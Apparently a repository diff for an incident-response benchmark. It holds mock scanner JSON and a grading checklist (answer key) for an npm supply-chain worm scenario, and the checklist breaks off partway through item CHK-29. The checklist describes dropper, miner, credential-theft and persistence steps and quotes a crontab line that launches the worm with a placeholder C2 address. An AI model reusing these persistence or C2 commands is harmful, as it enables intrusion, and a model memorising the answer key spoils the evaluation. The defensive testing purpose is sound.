|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"RequestId": "mock-nextjs-rce-baselines",
|
| 3 |
+
"WarningSummarys": [
|
| 4 |
+
{
|
| 5 |
+
"RiskName": "SSH 配置风险",
|
| 6 |
+
"Level": "high",
|
| 7 |
+
"TypeAlias": "ssh",
|
| 8 |
+
"WarningItems": [
|
| 9 |
+
{
|
| 10 |
+
"ItemName": "SSH 允许 Root 登录",
|
| 11 |
+
"Level": "high",
|
| 12 |
+
"Status": 1,
|
| 13 |
+
"Description": "SSH 配置允许 root 用户直接密码登录,存在暴力破解风险",
|
| 14 |
+
"Advice": "将 PermitRootLogin 设置为 no 或 prohibit-password"
|
| 15 |
+
},
|
| 16 |
+
{
|
| 17 |
+
"ItemName": "SSH 密码认证开启",
|
| 18 |
+
"Level": "medium",
|
| 19 |
+
"Status": 1,
|
| 20 |
+
"Description": "SSH 开启了密码认证,建议使用密钥认证",
|
| 21 |
+
"Advice": "设置 PasswordAuthentication no,配置密钥登录"
|
| 22 |
+
},
|
| 23 |
+
{
|
| 24 |
+
"ItemName": "SSH MaxAuthTries 过高",
|
| 25 |
+
"Level": "medium",
|
| 26 |
+
"Status": 1,
|
| 27 |
+
"Description": "MaxAuthTries 设置为 100,远超默认值 6,降低暴力破解门槛",
|
| 28 |
+
"Advice": "将 MaxAuthTries 设置为 6 或更低"
|
| 29 |
+
}
|
| 30 |
+
]
|
| 31 |
+
},
|
| 32 |
+
{
|
| 33 |
+
"RiskName": "数据库配置风险",
|
| 34 |
+
"Level": "high",
|
| 35 |
+
"TypeAlias": "database",
|
| 36 |
+
"WarningItems": [
|
| 37 |
+
{
|
| 38 |
+
"ItemName": "PostgreSQL 远程访问无限制",
|
| 39 |
+
"Level": "high",
|
| 40 |
+
"Status": 1,
|
| 41 |
+
"Description": "pg_hba.conf 允许来自任意 IP 的 md5 认证连接(0.0.0.0/0),数据库暴露在公网",
|
| 42 |
+
"Advice": "限制 pg_hba.conf 仅允许 localhost 或特定 IP 段访问"
|
| 43 |
+
},
|
| 44 |
+
{
|
| 45 |
+
"ItemName": "PostgreSQL 监听所有接口",
|
| 46 |
+
"Level": "medium",
|
| 47 |
+
"Status": 1,
|
| 48 |
+
"Description": "listen_addresses 设置为 '*',数据库监听所有网络接口",
|
| 49 |
+
"Advice": "将 listen_addresses 设置为 'localhost' 或仅需要的 IP"
|
| 50 |
+
}
|
| 51 |
+
]
|
| 52 |
+
},
|
| 53 |
+
{
|
| 54 |
+
"RiskName": "账户与权限风险",
|
| 55 |
+
"Level": "medium",
|
| 56 |
+
"TypeAlias": "account",
|
| 57 |
+
"WarningItems": [
|
| 58 |
+
{
|
| 59 |
+
"ItemName": "SUID 自定义可执行文件",
|
| 60 |
+
"Level": "medium",
|
| 61 |
+
"Status": 1,
|
| 62 |
+
"Description": "发现非标准的 SUID 文件 /usr/local/bin/backup-tool",
|
| 63 |
+
"Advice": "审计 SUID 文件列表,移除不必要的 SUID 位"
|
| 64 |
+
},
|
| 65 |
+
{
|
| 66 |
+
"ItemName": "用户 sudoers 配置宽松",
|
| 67 |
+
"Level": "medium",
|
| 68 |
+
"Status": 1,
|
| 69 |
+
"Description": "node 用户通过 /etc/sudoers.d/node-ops 获得 NOPASSWD 权限",
|
| 70 |
+
"Advice": "收紧 sudoers 配置,移除不必要的 NOPASSWD 权限"
|
| 71 |
+
}
|
| 72 |
+
]
|
| 73 |
+
}
|
| 74 |
+
]
|
| 75 |
+
}
|
ranges/nextjs-rce/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"RequestId": "mock-nextjs-rce-vulns",
|
| 3 |
+
"_note": "SAS 应用漏洞扫描主要覆盖 Web 应用和系统包级别。Node.js/npm 依赖级别的漏洞(如 Next.js CVE-2025-66478)通常不会出现在 SAS 扫描结果中,需要 Agent 通过磁盘取证(package.json / node_modules)主动发现。",
|
| 4 |
+
"cve": {
|
| 5 |
+
"VulRecords": []
|
| 6 |
+
},
|
| 7 |
+
"sys": {
|
| 8 |
+
"VulRecords": []
|
| 9 |
+
},
|
| 10 |
+
"cms": {
|
| 11 |
+
"VulRecords": []
|
| 12 |
+
},
|
| 13 |
+
"app": {
|
| 14 |
+
"VulRecords": []
|
| 15 |
+
},
|
| 16 |
+
"emg": {
|
| 17 |
+
"VulRecords": []
|
| 18 |
+
}
|
| 19 |
+
}
|
ranges/npm-worm/checklist.en.md
ADDED
|
@@ -0,0 +1,388 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-npm-worm Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge
|
| 7 |
+
- **detection-only**: plan score marked N/A, not counted in the corresponding summary
|
| 8 |
+
|
| 9 |
+
## Dimension 1: Intrusion entity identification and handling (9 items)
|
| 10 |
+
|
| 11 |
+
### CHK-01: Worm process detection `ENT-P01`
|
| 12 |
+
- **Evidence**: `python3 /tmp/.ld.py` process is running
|
| 13 |
+
- **Detection score** (3 pts)
|
| 14 |
+
- Discovery: Identified a suspicious Python process
|
| 15 |
+
- Evidence: Pointed out the path `/tmp/.ld.py`, identified it as a malicious worm script (not a system component)
|
| 16 |
+
- Attribution: Associated the worm process with automated attack behavior following supply-chain poisoning
|
| 17 |
+
- **Plan score** (2 pts)
|
| 18 |
+
- Correctness: Plan provides kill/pkill command to terminate the process
|
| 19 |
+
- Completeness: Plan covers terminating the process + checking auto-restart mechanisms (crontab, bashrc)
|
| 20 |
+
|
| 21 |
+
### CHK-02: Worm script file cleanup `ENT-F02`
|
| 22 |
+
- **Evidence**: `/tmp/.ld.py` file exists, timestamp is forged (mtime matches /usr/bin/python3)
|
| 23 |
+
- **Detection score** (3 pts)
|
| 24 |
+
- Discovery: Identified a hidden Python worm script
|
| 25 |
+
- Evidence: Pointed out the file path and content characteristics (network scanning, credential-theft logic)
|
| 26 |
+
- Attribution: Associated it with the npm postinstall attack chain
|
| 27 |
+
- **Plan score** (2 pts)
|
| 28 |
+
- Correctness: Plan provides `rm -f /tmp/.ld.py`
|
| 29 |
+
- Completeness: Recommends searching /tmp, /var/tmp and other directories to confirm no copies exist
|
| 30 |
+
|
| 31 |
+
### CHK-03: JS dropper identification `ENT-F01` *detection-only*
|
| 32 |
+
- **Evidence**: `/opt/webapp/node_modules/@corp-utils/logger/scripts/setup.js` contains `curl` download and `python3` execution logic
|
| 33 |
+
- **Detection score** (3 pts)
|
| 34 |
+
- Discovery: Identified a malicious dropper script in an npm package
|
| 35 |
+
- Evidence: Pointed out the C2 address, download command, and execution chain in setup.js
|
| 36 |
+
- Attribution: Identified it as the initial payload dropper for supply-chain poisoning (JS → curl → Python cross-language chain)
|
| 37 |
+
- **Plan score**: N/A (actual handling is covered by CHK-04 full malicious-package removal)
|
| 38 |
+
|
| 39 |
+
### CHK-04: Malicious npm package removal `ENT-F01`
|
| 40 |
+
- **Evidence**: `/opt/webapp/node_modules/@corp-utils/logger/` directory exists, package.json has a postinstall hook
|
| 41 |
+
- **Detection score** (3 pts)
|
| 42 |
+
- Discovery: Identified the malicious npm package `@corp-utils/logger`
|
| 43 |
+
- Evidence: Pointed out the postinstall hook and the abnormal dependency in package.json
|
| 44 |
+
- Attribution: Characterized it as a supply-chain poisoning vector
|
| 45 |
+
- **Plan score** (2 pts)
|
| 46 |
+
- Correctness: Plan provides `npm uninstall @corp-utils/logger` or manual deletion
|
| 47 |
+
- Completeness: Recommends checking package-lock.json to trace the package source URL, and removing the dependency from package.json
|
| 48 |
+
|
| 49 |
+
### CHK-05: Mining process detection `ENT-P01`
|
| 50 |
+
- **Evidence**: `/opt/.node-helpers/.npm-gc` process is running, log file contains a mining-pool address
|
| 51 |
+
- **Detection score** (3 pts)
|
| 52 |
+
- Discovery: Identified a mining process
|
| 53 |
+
- Evidence: Pointed out the path, disguised name (mimicking npm cache cleanup), mining-pool address visible in the log
|
| 54 |
+
- Attribution: Associated the mining with the attacker's subsequent exploitation
|
| 55 |
+
- **Plan score** (2 pts)
|
| 56 |
+
- Correctness: Plan provides a command to terminate the process
|
| 57 |
+
- Completeness: Covers termination + file deletion + checking systemd auto-restart
|
| 58 |
+
|
| 59 |
+
### CHK-06: Mining binary cleanup `ENT-F02`
|
| 60 |
+
- **Evidence**: `/opt/.node-helpers/.npm-gc` script and `/opt/.node-helpers/.npm-gc.log` log
|
| 61 |
+
- **Detection score** (3 pts)
|
| 62 |
+
- Discovery: Identified a hidden mining script
|
| 63 |
+
- Evidence: Pointed out the hidden directory path `/opt/.node-helpers/`
|
| 64 |
+
- Attribution: Associated it with mining-pool outbound behavior
|
| 65 |
+
- **Plan score** (2 pts)
|
| 66 |
+
- Correctness: Plan provides `rm -rf /opt/.node-helpers`
|
| 67 |
+
- Completeness: Recommends searching for other hidden directories
|
| 68 |
+
|
| 69 |
+
### CHK-07: Credential cache cleanup `ENT-F04`
|
| 70 |
+
- **Evidence**: Stolen npmrc, SSH keys, .env, Git credentials, etc. stored under `/var/tmp/.npm-cache/`
|
| 71 |
+
- **Detection score** (3 pts)
|
| 72 |
+
- Discovery: Discovered the attacker's data staging directory
|
| 73 |
+
- Evidence: Listed the contents of each subdirectory (npmrc/, ssh_keys/, env_files/, git_credentials/, bash_history/)
|
| 74 |
+
- Attribution: Identified it as a product of the worm's credential-theft behavior
|
| 75 |
+
- **Plan score** (2 pts)
|
| 76 |
+
- Correctness: Plan provides `rm -rf /var/tmp/.npm-cache`
|
| 77 |
+
- Completeness: Recommends assessing the rotation needs for the leaked credentials
|
| 78 |
+
|
| 79 |
+
### CHK-08: Worm propagation artifacts `ENT-F04`
|
| 80 |
+
- **Evidence**: The scripts.postinstall of `/opt/internal-tools/package.json` was injected with a worm download command
|
| 81 |
+
- **Detection score** (3 pts)
|
| 82 |
+
- Discovery: Discovered that another npm project was infected by the worm
|
| 83 |
+
- Evidence: Pointed out the modified package.json and the injected postinstall content
|
| 84 |
+
- Attribution: Identified it as the worm's self-propagation behavior
|
| 85 |
+
- **Plan score** (2 pts)
|
| 86 |
+
- Correctness: Plan provides a method to restore package.json
|
| 87 |
+
- Completeness: Recommends scanning all local npm projects for similar infections
|
| 88 |
+
|
| 89 |
+
### CHK-09: C2 communication residue `ENT-F04` *detection-only*
|
| 90 |
+
- **Evidence**: `/var/tmp/.npm-cache/sysinfo.json` contains system-information callback records; the C2 address is visible in the worm code
|
| 91 |
+
- **Detection score** (3 pts)
|
| 92 |
+
- Discovery: Identified the worm's C2 callback behavior
|
| 93 |
+
- Evidence: Pointed out the C2 address (attacker machine IP:8888) and the /beacon path
|
| 94 |
+
- Attribution: Associated the C2 communication with the worm's automated callback behavior
|
| 95 |
+
- **Plan score**: N/A (outbound blocking is covered by CHK-38)
|
| 96 |
+
|
| 97 |
+
## Dimension 2: Baseline risk (9 items)
|
| 98 |
+
|
| 99 |
+
### CHK-10: SSH PermitRootLogin `BAS-01`
|
| 100 |
+
- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config`
|
| 101 |
+
- **Detection score** (3 pts)
|
| 102 |
+
- Discovery: Reported the risk of PermitRootLogin yes
|
| 103 |
+
- Evidence: Cited the specific configuration line
|
| 104 |
+
- Attribution: Pointed out that the attacker uses weak-password SSH login as root for subsequent persistence deployment
|
| 105 |
+
- **Plan score** (2 pts)
|
| 106 |
+
- Correctness: Recommends changing to `no` or `prohibit-password`
|
| 107 |
+
- Completeness: Includes `sshd -t` verification and sshd restart steps
|
| 108 |
+
|
| 109 |
+
### CHK-11: SSH PasswordAuthentication `BAS-01`
|
| 110 |
+
- **Evidence**: `PasswordAuthentication yes` in `/etc/ssh/sshd_config`
|
| 111 |
+
- **Detection score** (3 pts)
|
| 112 |
+
- Discovery: Identified the risk of password authentication being enabled
|
| 113 |
+
- Evidence: Cited the specific configuration line
|
| 114 |
+
- Attribution: Associated it with the worm's SSH brute-force scanning behavior
|
| 115 |
+
- **Plan score** (2 pts)
|
| 116 |
+
- Correctness: Recommends setting `PasswordAuthentication no`
|
| 117 |
+
- Completeness: Emphasizes first confirming that key authentication is available
|
| 118 |
+
|
| 119 |
+
### CHK-12: Root password strength `BAS-01`
|
| 120 |
+
- **Evidence**: root password is `npm@2024` (weak password)
|
| 121 |
+
- **Detection score** (3 pts)
|
| 122 |
+
- Discovery: Identified that root uses a weak password
|
| 123 |
+
- Evidence: Pointed out that the password is vulnerable to dictionary attacks
|
| 124 |
+
- Attribution: Associated the weak password with the attacker's Phase 3 SSH login
|
| 125 |
+
- **Plan score** (2 pts)
|
| 126 |
+
- Correctness: Recommends setting a strong password
|
| 127 |
+
- Completeness: Provides password-complexity requirements
|
| 128 |
+
|
| 129 |
+
### CHK-13: Webhook endpoint no auth `BAS-06`
|
| 130 |
+
- **Evidence**: `/api/webhook/deploy` accepts arbitrary POST with no authentication, and the `packages` parameter is passed directly to `npm install`
|
| 131 |
+
- **Detection score** (3 pts)
|
| 132 |
+
- Discovery: Identified that the Webhook endpoint lacks authentication
|
| 133 |
+
- Evidence: Cited the routing logic in server.js, pointed out the command-injection risk
|
| 134 |
+
- Attribution: Characterized the unauthenticated Webhook as the entry point for supply-chain poisoning
|
| 135 |
+
- **Plan score** (2 pts)
|
| 136 |
+
- Correctness: Recommends adding a token/signature authentication mechanism
|
| 137 |
+
- Completeness: Recommends whitelist validation of the packages parameter, prohibiting arbitrary URLs
|
| 138 |
+
|
| 139 |
+
### CHK-14: npm token plaintext exposure `BAS-03`
|
| 140 |
+
- **Evidence**: `/home/developer/.npmrc` contains a plaintext `_authToken`
|
| 141 |
+
- **Detection score** (3 pts)
|
| 142 |
+
- Discovery: Discovered a plaintext npm registry token
|
| 143 |
+
- Evidence: Cited the file path and token content
|
| 144 |
+
- Attribution: The worm has already stolen this token to /var/tmp/.npm-cache/npmrc/
|
| 145 |
+
- **Plan score** (2 pts)
|
| 146 |
+
- Correctness: Recommends rotating the npm token
|
| 147 |
+
- Completeness: Recommends using `npm token revoke` to invalidate the old token + least-privilege
|
| 148 |
+
|
| 149 |
+
### CHK-15: SSH private key unencrypted `BAS-03`
|
| 150 |
+
- **Evidence**: `/home/developer/.ssh/id_rsa` has no passphrase protection
|
| 151 |
+
- **Detection score** (3 pts)
|
| 152 |
+
- Discovery: Discovered an unencrypted SSH private key
|
| 153 |
+
- Evidence: Pointed out the file path and the fact that it has no password protection
|
| 154 |
+
- Attribution: The worm has already stolen this key to /var/tmp/.npm-cache/ssh_keys/
|
| 155 |
+
- **Plan score** (2 pts)
|
| 156 |
+
- Correctness: Recommends regenerating a key pair with a passphrase
|
| 157 |
+
- Completeness: Recommends rotating the associated authorized_keys
|
| 158 |
+
|
| 159 |
+
### CHK-16: .env file permissions too loose `BAS-05`
|
| 160 |
+
- **Evidence**: `/opt/webapp/.env` has permissions 644 (readable by any user), contains DB password, API Key, JWT Secret
|
| 161 |
+
- **Detection score** (3 pts)
|
| 162 |
+
- Discovery: Identified the .env file permission problem
|
| 163 |
+
- Evidence: Pointed out the permission value and the list of sensitive credentials in the file
|
| 164 |
+
- Attribution: The worm exploited the loose permissions to steal the .env content
|
| 165 |
+
- **Plan score** (2 pts)
|
| 166 |
+
- Correctness: Recommends `chmod 600 .env` and restricting readability to only the running user
|
| 167 |
+
- Completeness: Recommends rotating all credentials in .env
|
| 168 |
+
|
| 169 |
+
### CHK-17: Git credentials plaintext storage `BAS-03`
|
| 170 |
+
- **Evidence**: `/home/developer/.git-credentials` contains plaintext GitHub/GitLab credentials
|
| 171 |
+
- **Detection score** (3 pts)
|
| 172 |
+
- Discovery: Discovered a plaintext Git credentials file
|
| 173 |
+
- Evidence: Cited the file path and credential content
|
| 174 |
+
- Attribution: The worm has already stolen this file
|
| 175 |
+
- **Plan score** (2 pts)
|
| 176 |
+
- Correctness: Recommends using a credential manager instead of plaintext storage
|
| 177 |
+
- Completeness: Recommends rotating all Git Personal Access Tokens
|
| 178 |
+
|
| 179 |
+
### CHK-18: developer user sudo privilege `BAS-04`
|
| 180 |
+
- **Evidence**: `/etc/sudoers.d/developer` grants `ALL=(ALL:ALL) ALL`
|
| 181 |
+
- **Detection score** (3 pts)
|
| 182 |
+
- Discovery: Identified overly broad sudo privileges
|
| 183 |
+
- Evidence: Cited the sudoers configuration content
|
| 184 |
+
- Attribution: The worm/attacker can use this to escalate to root
|
| 185 |
+
- **Plan score** (2 pts)
|
| 186 |
+
- Correctness: Recommends restricting to specific commands (e.g. only allowing pm2, nginx operations)
|
| 187 |
+
- Completeness: Includes `visudo -c` verification
|
| 188 |
+
|
| 189 |
+
## Dimension 3: Persistence removal (8 items)
|
| 190 |
+
|
| 191 |
+
### CHK-19: Crontab persistence `PER-S01`
|
| 192 |
+
- **Evidence**: `crontab -l` shows `*/10 * * * * python3 /tmp/.ld.py --c2 <IP>:<PORT> >/dev/null 2>&1`
|
| 193 |
+
- **Detection score** (3 pts)
|
| 194 |
+
- Discovery: Identified a suspicious crontab entry
|
| 195 |
+
- Evidence: Cited the specific content, pointed out the 10-minute interval and the worm C2 parameter
|
| 196 |
+
- Attribution: Associated the crontab with the worm's auto-restart persistence
|
| 197 |
+
- **Plan score** (2 pts)
|
| 198 |
+
- Correctness: Provides a method to delete the malicious entry
|
| 199 |
+
- Completeness: Recommends checking all users' crontabs and /etc/cron.d/
|
| 200 |
+
|
| 201 |
+
### CHK-20: Bashrc persistence `PER-I01`
|
| 202 |
+
- **Evidence**: A code block starting with `# npm cache optimization` in `/home/developer/.bashrc`, which checks and restarts the worm on each login
|
| 203 |
+
- **Detection score** (3 pts)
|
| 204 |
+
- Discovery: Identified the malicious code block appended in bashrc
|
| 205 |
+
- Evidence: Cited the comment disguise and the specific malicious content
|
| 206 |
+
- Attribution: Identified it as the worm's login-triggered persistence mechanism
|
| 207 |
+
- **Plan score** (2 pts)
|
| 208 |
+
- Correctness: Precisely locates and deletes the malicious code block
|
| 209 |
+
- Completeness: Recommends checking .bash_profile, .profile, /root/.bashrc
|
| 210 |
+
|
| 211 |
+
### CHK-21: Systemd service persistence `PER-V01`
|
| 212 |
+
- **Evidence**: `/etc/systemd/system/npm-cache-gc.service` — ExecStart points to `/opt/.node-helpers/.npm-gc`
|
| 213 |
+
- **Detection score** (3 pts)
|
| 214 |
+
- Discovery: Identified a suspicious systemd service
|
| 215 |
+
- Evidence: Pointed out the unit file path and that ExecStart points to the mining script
|
| 216 |
+
- Attribution: Identified it as a mining persistence mechanism
|
| 217 |
+
- **Plan score** (2 pts)
|
| 218 |
+
- Correctness: Provides `systemctl stop && disable` + deleting the unit file + `daemon-reload`
|
| 219 |
+
- Completeness: Includes post-cleanup verification steps
|
| 220 |
+
|
| 221 |
+
### CHK-22: Systemd service masquerade `PER-V01` *detection-only*
|
| 222 |
+
- **Evidence**: The service name `npm-cache-gc` and description `NPM Cache Garbage Collector` mimic legitimate npm cache management
|
| 223 |
+
- **Detection score** (3 pts)
|
| 224 |
+
- Discovery: Pointed out the disguise technique in the service name and description
|
| 225 |
+
- Evidence: Compared against legitimate npm/node service naming patterns
|
| 226 |
+
- Attribution: Identified it as the attacker evading scrutiny through naming disguise
|
| 227 |
+
- **Plan score**: N/A (actual handling is covered by CHK-21)
|
| 228 |
+
|
| 229 |
+
### CHK-23: SSH key injection `PER-A01`
|
| 230 |
+
- **Evidence**: `/root/.ssh/authorized_keys` and `/home/developer/.ssh/authorized_keys` contain an attacker public key commented as `ops@npm-registry`
|
| 231 |
+
- **Detection score** (3 pts)
|
| 232 |
+
- Discovery: Identified an abnormal SSH public key
|
| 233 |
+
- Evidence: Pointed out that the key comment `ops@npm-registry` is not a local user
|
| 234 |
+
- Attribution: Associated the key injection with the worm's automated persistence behavior
|
| 235 |
+
- **Plan score** (2 pts)
|
| 236 |
+
- Correctness: Plan provides a command to delete the specific key line
|
| 237 |
+
- Completeness: Recommends auditing all users' authorized_keys
|
| 238 |
+
|
| 239 |
+
### CHK-24: Profile.d backdoor `PER-E01`
|
| 240 |
+
- **Evidence**: `/etc/profile.d/node-env.sh` hides mining-restart logic (`pgrep -f npm-gc || nohup ...`)
|
| 241 |
+
- **Detection score** (3 pts)
|
| 242 |
+
- Discovery: Identified the malicious script in profile.d
|
| 243 |
+
- Evidence: Pointed out that the script is disguised as a Node.js environment configuration but actually contains a backdoor
|
| 244 |
+
- Attribution: Identified it as a persistence method that automatically restarts mining on each user login
|
| 245 |
+
- **Plan score** (2 pts)
|
| 246 |
+
- Correctness: Plan provides `rm /etc/profile.d/node-env.sh`
|
| 247 |
+
- Completeness: Recommends scanning all non-distribution scripts in /etc/profile.d/
|
| 248 |
+
|
| 249 |
+
### CHK-25: npm project infection persistence `PER-S01` *detection-only*
|
| 250 |
+
- **Evidence**: The postinstall of `/opt/internal-tools/package.json` was injected with a worm download command
|
| 251 |
+
- **Detection score** (3 pts)
|
| 252 |
+
- Discovery: Identified that the worm propagates by modifying npm projects
|
| 253 |
+
- Evidence: Pointed out the modified package.json and the injected content
|
| 254 |
+
- Attribution: Identified it as the worm's self-propagation mechanism (distinct from conventional persistence; this is supply-chain-specific behavior)
|
| 255 |
+
- **Plan score**: N/A (actual handling is covered by CHK-08)
|
| 256 |
+
- **Bonus**: The Agent scans all local npm projects instead of only checking known paths
|
| 257 |
+
|
| 258 |
+
### CHK-26: Comprehensive persistence scan `Q-05` *detection-only*
|
| 259 |
+
- **Evidence**: No persistence other than crontab/bashrc/systemd/authorized_keys/profile.d/npm postinstall
|
| 260 |
+
- **Detection score** (3 pts)
|
| 261 |
+
- Discovery: Performs a systematic persistence scan (init.d, rc.local, at jobs, motd, etc.)
|
| 262 |
+
- Evidence: Documents the scan scope and method
|
| 263 |
+
- Attribution: Even if no additional items are found, demonstrates the thoroughness of the investigation
|
| 264 |
+
- **Plan score**: N/A
|
| 265 |
+
|
| 266 |
+
## Dimension 4: Evaluation quality dimension (9 items)
|
| 267 |
+
|
| 268 |
+
### CHK-27: Cross-language attack-chain tracing `Q-06` *detection-only*
|
| 269 |
+
- **Evidence**: The complete attack chain is npm install → node setup.js → curl → python3 ld.py, spanning both the JavaScript and Python runtimes
|
| 270 |
+
- **Detection score** (3 pts)
|
| 271 |
+
- Discovery: Identified the cross-language multi-stage attack chain
|
| 272 |
+
- Evidence: Accurately described the complete path of npm postinstall → JS dropper → curl download → Python worm
|
| 273 |
+
- Attribution: Correctly linked the stages together, explaining that the cross-language boundary does not affect tracing
|
| 274 |
+
- **Plan score**: N/A
|
| 275 |
+
- **Critical**: The process chain may break at the node → curl → python3 boundary; the Agent needs to proactively associate them
|
| 276 |
+
|
| 277 |
+
### CHK-28: Malicious package attribution `Q-01` *detection-only*
|
| 278 |
+
- **Evidence**: The `resolved` field of `@corp-utils/logger` in `/opt/webapp/package-lock.json` points to an attacker-machine HTTP URL
|
| 279 |
+
- **Detection score** (3 pts)
|
| 280 |
+
- Discovery: Located the malicious package source from package-lock.json
|
| 281 |
+
- Evidence: Cited the resolved URL, version number, integrity hash
|
| 282 |
+
- Attribution: Associated the package source URL with the attacker-machine IP
|
| 283 |
+
- **Plan score**: N/A
|
| 284 |
+
- **Bonus**: The Agent compares package.json and package-lock.json to discover the manually injected dependency
|
| 285 |
+
|
| 286 |
+
### CHK-29: Entry-point determination `Q-01` `Q-04` *detection-only*
|
| 287 |
+
- **Evidence**: Webhook access log + npm install log + no SSH brute-force records (the worm's scanning occurs after the attack)
|
| 288 |
+
- **Detection score** (3 pts)
|
| 289 |
+
- Discovery: Correctly determined the entry point as "CI/CD Webhook exploited + npm supply-chain poisoning"
|
| 290 |
+
- Evidence: Cited the POST /api/webhook/deploy records in Nginx access.log and the npm install records in deploy.log
|
| 291 |
+
